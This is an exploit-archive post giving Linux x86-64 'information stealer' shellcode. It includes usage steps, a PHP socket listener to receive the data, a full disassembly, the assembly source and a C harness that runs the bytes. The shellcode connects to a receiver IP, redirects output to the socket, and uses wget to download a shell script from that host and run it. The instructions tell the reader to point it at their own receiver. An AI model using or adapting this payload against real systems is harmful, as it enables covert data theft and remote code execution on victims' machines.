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Linux/x86-64 - Information Stealer Shellcode (399 bytes)
[/*
# Title : Linux x86_64 information stealer
# Date : 23-05-2016
# Author : Roziul Hasan Khan Shifat
# Tested On : Ubuntu 14.04 LTS x86_64
# Contact : shifath12@gmail.com
*/
/*
How does this shellcode works
-----------------------------------
1. First it connects to the information reciver
2. then it download a sh script from http://192.168.30.129/pri.sh (server running on Kali linux)
3. duplicating stdout,stderr with socket descriptor
4. then it execute the script using sh
*/
/*
Note: the pri.sh file was in kali linux.the server was Kali linux
client was Ubuntu
it downloads the pri.sh from kali linux
and Executes it on Ubuntu
*/
/*
Requirements of this shellcode
--------------------------------------
1.link of pri.sh (You can Found it on http://pastebin.com/V4gudKL5 ) . this script isn't mine.I've taken it from another.I customized the script
2.reciver ip
*/
/*
How to use this shellcode
---------------------------------
1. Upload the pri.sh any site
2. TO download the pri.sh , U need to Customize the wget procedure (I've marked where to customized)
3. Customize the connect procedure for connect to the reciver where i marked
4. U need to know assembly to completed 1,2 instruction
*/
/*
Reciver
---------
To recive the Information U may Use Netcat
If U want to view the informations on Web browser , I've a php script for U. upload it any site.
<?php
if (!($sock = socket_create(AF_INET, SOCK_STREAM, 0)))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);
die ("Couldn't create socket: [$errorcode] $errormsg \n");}
echo "Socket created \n\n";
if ( !socket_bind($sock, "0.0.0.0" , 1532) )
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);
die ("Could not bind socket : [$errorcode] $errormsg \n");}
echo "Socket bind OK \n\n";
if (!socket_listen ($sock , 10))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);
die ("Could not listen on socket : [$errorcode] $errormsg \n");}
echo "Socket listen OK \n\n\n";
echo "Waiting for incoming connections... \n";
//Accept incoming connection - This is a blocking call
$client = socket_accept($sock);
//display information about the client who is connected
if (socket_getpeername($client , $address , $port))
{
echo "Client $address : $port is now connected to us. \n";
}
//read data from the incoming socket
while(1)
{
$i= socket_recv($client,$buf, 1024000,MSG_WAITALL);
if($i<=0)
die("\nconnection closed by $address");
else
echo $buf."\n\n";
}
?>
if U this script , the reciver ip will be the website ip
BUT I RECOMMEND U TO USE NETCAT
*/
/*
Disassembly of section .text:
0000000000400080 <_start>:
400080: 6a 06 pushq $0x6
400082: 6a 01 pushq $0x1
400084: 6a 02 pushq $0x2
400086: 5f pop %rdi
400087: 5e pop %rsi
400088: 5a pop %rdx
400089: 6a 29 pushq $0x29
40008b: 58 pop %rax
40008c: 0f 05 syscall
40008e: 48 31 db xor %rbx,%rbx
400091: 48 89 c3 mov %rax,%rbx
400094: 48 31 c0 xor %rax,%rax
400097: 48 31 ff xor %rdi,%rdi
40009a: b0 39 mov $0x39,%al
40009c: 0f 05 syscall
40009e: 4d 31 c9 xor %r9,%r9
4000a1: 4c 39 c8 cmp %r9,%rax
4000a4: 74 18 je 4000be <connect>
4000a6: 6a 3c pushq $0x3c
4000a8: 58 pop %rax
4000a9: 0f 05 syscall
00000000004000ab <retry>:
4000ab: 48 31 f6 xor %rsi,%rsi
4000ae: 48 f7 e6 mul %rsi
4000b1: 56 push %rsi
4000b2: 6a 3c pushq $0x3c
4000b4: 48 89 e7 mov %rsp,%rdi
4000b7: b0 23 mov $0x23,%al
4000b9: 0f 05 syscall
4000bb: eb 01 jmp 4000be <connect>
4000bd: c3 retq
00000000004000be <connect>:
4000be: 6a 10 pushq $0x10
4000c0: 5a pop %rdx
4000c1: 53 push %rbx
4000c2: 5f pop %rdi
4000c3: 48 31 c0 xor %rax,%rax
4000c6: 50 push %rax
4000c7: 50 push %rax
4000c8: 50 push %rax
4000c9: c6 04 24 02 movb $0x2,(%rsp)
4000cd: 66 c7 44 24 02 05 fc movw $0xfc05,0x2(%rsp)
4000d4: c7 44 24 04 c0 a8 1e movl $0x811ea8c0,0x4(%rsp)
4000db: 81
4000dc: 48 89 e6 mov %rsp,%rsi
4000df: b0 2a mov $0x2a,%al
4000e1: 0f 05 syscall
4000e3: 48 31 ff xor %rdi,%rdi
4000e6: 48 39 f8 cmp %rdi,%rax
4000e9: 7c c0 jl 4000ab <retry>
4000eb: 48 31 c0 xor %rax,%rax
4000ee: 48 31 f6 xor %rsi,%rsi
4000f1: 48 ff c6 inc %rsi
4000f4: 48 89 df mov %rbx,%rdi
4000f7: b0 21 mov $0x21,%al
4000f9: 0f 05 syscall
4000fb: 48 31 c0 xor %rax,%rax
4000fe: 48 ff c6 inc %rsi
400101: 48 89 df mov %rbx,%rdi
400104: b0 21 mov $0x21,%al
400106: 0f 05 syscall
400108: 48 31 c0 xor %rax,%rax
40010b: 48 83 c0 39 add $0x39,%rax
40010f: 0f 05 syscall
400111: 48 31 ff xor %rdi,%rdi
400114: 4d 31 e4 xor %r12,%r12
400117: 49 89 c4 mov %rax,%r12
40011a: 48 39 f8 cmp %rdi,%rax
40011d: 74 59 je 400178 <wget>
40011f: 4d 31 d2 xor %r10,%r10
400122: 48 31 d2 xor %rdx,%rdx
400125: 4c 89 d6 mov %r10,%rsi
400128: 4c 89 e7 mov %r12,%rdi
40012b: 48 31 c0 xor %rax,%rax
40012e: b0 3d mov $0x3d,%al
400130: 0f 05 syscall
400132: 48 31 c0 xor %rax,%rax
400135: 48 31 d2 xor %rdx,%rdx
400138: 50 push %rax
400139: 50 push %rax
40013a: c7 04 24 2f 2f 62 69 movl $0x69622f2f,(%rsp)
400141: c7 44 24 04 6e 2f 73 movl $0x68732f6e,0x4(%rsp)
400148: 68
400149: 48 89 e7 mov %rsp,%rdi
40014c: 50 push %rax
40014d: 50 push %rax
40014e: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp)
400155: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp)
40015c: c6 44 24 06 68 movb $0x68,0x6(%rsp)
400161: 48 89 e6 mov %rsp,%rsi
400164: 52 push %rdx
400165: 56 push %rsi
400166: 57 push %rdi
400167: 48 89 e6 mov %rsp,%rsi
40016a: 48 83 c0 3b add $0x3b,%rax
40016e: 0f 05 syscall
400170: 41 51 push %r9
400172: 5f pop %rdi
400173: 6a 03 pushq $0x3
400175: 58 pop %rax
400176: 0f 05 syscall
0000000000400178 <wget>:
400178: 48 31 c0 xor %rax,%rax
40017b: 50 push %rax
40017c: 50 push %rax
40017d: 50 push %rax
40017e: c7 04 24 2f 75 73 72 movl $0x7273752f,(%rsp)
400185: c7 44 24 04 2f 62 69 movl $0x6e69622f,0x4(%rsp)
40018c: 6e
40018d: c7 44 24 08 2f 2f 77 movl $0x67772f2f,0x8(%rsp)
400194: 67
400195: 66 c7 44 24 0c 65 74 movw $0x7465,0xc(%rsp)
40019c: 48 89 e7 mov %rsp,%rdi
40019f: 50 push %rax
4001a0: 50 push %rax
4001a1: 50 push %rax
4001a2: 50 push %rax
4001a3: c7 04 24 68 74 74 70 movl $0x70747468,(%rsp)
4001aa: c7 44 24 04 3a 2f 2f movl $0x312f2f3a,0x4(%rsp)
4001b1: 31
4001b2: c7 44 24 08 39 32 2e movl $0x312e3239,0x8(%rsp)
4001b9: 31
4001ba: c7 44 24 0c 36 38 2e movl $0x332e3836,0xc(%rsp)
4001c1: 33
4001c2: c7 44 24 10 30 2e 31 movl $0x32312e30,0x10(%rsp)
4001c9: 32
4001ca: c7 44 24 14 39 2f 70 movl $0x72702f39,0x14(%rsp)
4001d1: 72
4001d2: c7 44 24 18 69 2e 73 movl $0x68732e69,0x18(%rsp)
4001d9: 68
4001da: 48 89 e6 mov %rsp,%rsi
4001dd: 48 31 d2 xor %rdx,%rdx
4001e0: 50 push %rax
4001e1: 66 c7 04 24 2d 4f movw $0x4f2d,(%rsp)
4001e7: 48 89 e1 mov %rsp,%rcx
4001ea: 50 push %rax
4001eb: 50 push %rax
4001ec: c7 04 24 2e 70 72 69 movl $0x6972702e,(%rsp)
4001f3: 66 c7 44 24 04 2e 73 movw $0x732e,0x4(%rsp)
4001fa: c6 44 24 06 68 movb $0x68,0x6(%rsp)
4001ff: 49 89 e7 mov %rsp,%r15
400202: 52 push %rdx
400203: 41 57 push %r15
400205: 51 push %rcx
400206: 56 push %rsi
400207: 57 push %rdi
400208: 48 89 e6 mov %rsp,%rsi
40020b: b0 3b mov $0x3b,%al
40020d: 0f 05 syscall
*/
/*
section .text
global _start
;-----------------
_start:
;socket()
push 6
push 1
push 2
pop rdi
pop rsi
pop rdx
push 41
pop rax
syscall
;------------------
xor rbx,rbx
mov rbx,rax ;socket descriptor
;-------------
xor rax,rax
xor rdi,rdi
mov al,57
syscall
xor r9,r9
cmp rax,r9
jz connect
push byte 60
pop rax
syscall
retry:
xor rsi,rsi
mul rsi
push rsi
push byte 60 ;1 min ( change it if U want )
mov rdi,rsp
mov al,35
syscall
jmp connect
ret
connect:
;connect()
push 16
pop rdx
push rbx
pop rdi
xor rax,rax
push rax
push rax
push rax
mov [rsp],byte 2
;-----------------------------------
;customize these staetments
mov [rsp+2],word 0xfc05 ;port 1532 ( U may change it, As U wish )
mov [rsp+4],dword 0x811ea8c0 ;ip of reciver (must change it)
;--------------------------------------
mov rsi,rsp
mov al,42
syscall
xor rdi,rdi
cmp rax,rdi
jl retry
;------------dup2(sd,1)
xor rax,rax
xor rsi,rsi
inc rsi
mov rdi,rbx
mov al,33
syscall
;------------
;------------dup2(sd,2)
xor rax,rax
inc rsi
mov rdi,rbx
mov al,33
syscall
;------------
;fork()
xor rax,rax
add rax,57
syscall
xor rdi,rdi
xor r12,r12
mov r12,rax ;pid
cmp rax,rdi
jz wget
;---------------
;wait4()
xor r10,r10 ;null
xor rdx,rdx ;null
mov rsi,r10 ;status
mov rdi,r12 ;pid
xor rax,rax
mov al,61
syscall
;;
;-------------------------
;execve("//bin/sh",{"//bin/sh",".pri.sh",NULL},NULL);
xor rax,rax
xor rdx,rdx
push rax
push rax
mov [rsp],dword '//bi'
mov [rsp+4],dword 'n/sh'
mov rdi,rsp
push rax
push rax
mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'
mov rsi,rsp
push rdx
push rsi
push rdi
mov rsi,rsp
add rax,59
syscall
;--------
;close(fd)
push r9
pop rdi
push 3
pop rax
syscall
wget:
;execve("/usr/bin//wget",{"/usr/bin//wget","http ://1 92.1 68.3 0.12 9/pr i.sh","-O",".pri.sh",NULL},NULL)
xor rax,rax
push rax
push rax
push rax
mov [rsp],dword '/usr'
mov [rsp+4],dword '/bin'
mov [rsp+8],dword '//wg'
mov [rsp+12],word 'et'
mov rdi,rsp
push rax
push rax
push rax
push rax
;----------------------
;cusmizetd these statements for the link of pri.sh
mov [rsp],dword 'http'
mov [rsp+4],dword '://1'
mov [rsp+8],dword '92.1'
mov [rsp+12],dword '68.3'
mov [rsp+16],dword '0.12'
mov [rsp+20],dword '9/pr'
mov [rsp+24],dword 'i.sh'
;------------------------
mov rsi,rsp
xor rdx,rdx
push rax
mov [rsp],word '-O'
mov rcx,rsp
push rax
push rax
mov [rsp],dword '.pri'
mov [rsp+4],word '.s'
mov [rsp+6],byte 'h'
mov r15,rsp
push rdx
push r15
push rcx
push rsi
push rdi
mov rsi,rsp
mov al,59
syscall
*/
#include<stdio.h>
#include<string.h>
char shellcode[]="\x6a\x06\x6a\x01\x6a\x02\x5f\x5e\x5a\x6a\x29\x58\x0f\x05\x48\x31\xdb\x48\x89\xc3\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x4d\x31\xc9\x4c\x39\xc8\x74\x18\x6a\x3c\x58\x0f\x05\x48\x31\xf6\x48\xf7\xe6\x56\x6a\x3c\x48\x89\xe7\xb0\x23\x0f\x05\xeb\x01\xc3\x6a\x10\x5a\x53\x5f\x48\x31\xc0\x50\x50\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\xfc\xc7\x44\x24\x04\xc0\xa8\x1e\x81\x48\x89\xe6\xb0\x2a\x0f\x05\x48\x31\xff\x48\x39\xf8\x7c\xc0\x48\x31\xc0\x48\x31\xf6\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\xff\xc6\x48\x89\xdf\xb0\x21\x0f\x05\x48\x31\xc0\x48\x83\xc0\x39\x0f\x05\x48\x31\xff\x4d\x31\xe4\x49\x89\xc4\x48\x39\xf8\x74\x59\x4d\x31\xd2\x48\x31\xd2\x4c\x89\xd6\x4c\x89\xe7\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x41\x51\x5f\x6a\x03\x58\x0f\x05\x48\x31\xc0\x50\x50\x50\xc7\x04\x24\x2f\x75\x73\x72\xc7\x44\x24\x04\x2f\x62\x69\x6e\xc7\x44\x24\x08\x2f\x2f\x77\x67\x66\xc7\x44\x24\x0c\x65\x74\x48\x89\xe7\x50\x50\x50\x50\xc7\x04\x24\x68\x74\x74\x70\xc7\x44\x24\x04\x3a\x2f\x2f\x31\xc7\x44\x24\x08\x39\x32\x2e\x31\xc7\x44\x24\x0c\x36\x38\x2e\x33\xc7\x44\x24\x10\x30\x2e\x31\x32\xc7\x44\x24\x14\x39\x2f\x70\x72\xc7\x44\x24\x18\x69\x2e\x73\x68\x48\x89\xe6\x48\x31\xd2\x50\x66\xc7\x04\x24\x2d\x4f\x48\x89\xe1\x50\x50\xc7\x04\x24\x2e\x70\x72\x69\x66\xc7\x44\x24\x04\x2e\x73\xc6\x44\x24\x06\x68\x49\x89\xe7\x52\x41\x57\x51\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; /* insert shellcode here */
int main()
{
printf("shellcode length %ld",( unsigned long ) strlen(shellcode));
( * (int(*)()) shellcode) ();
}
# 0day.today [2024-11-15] #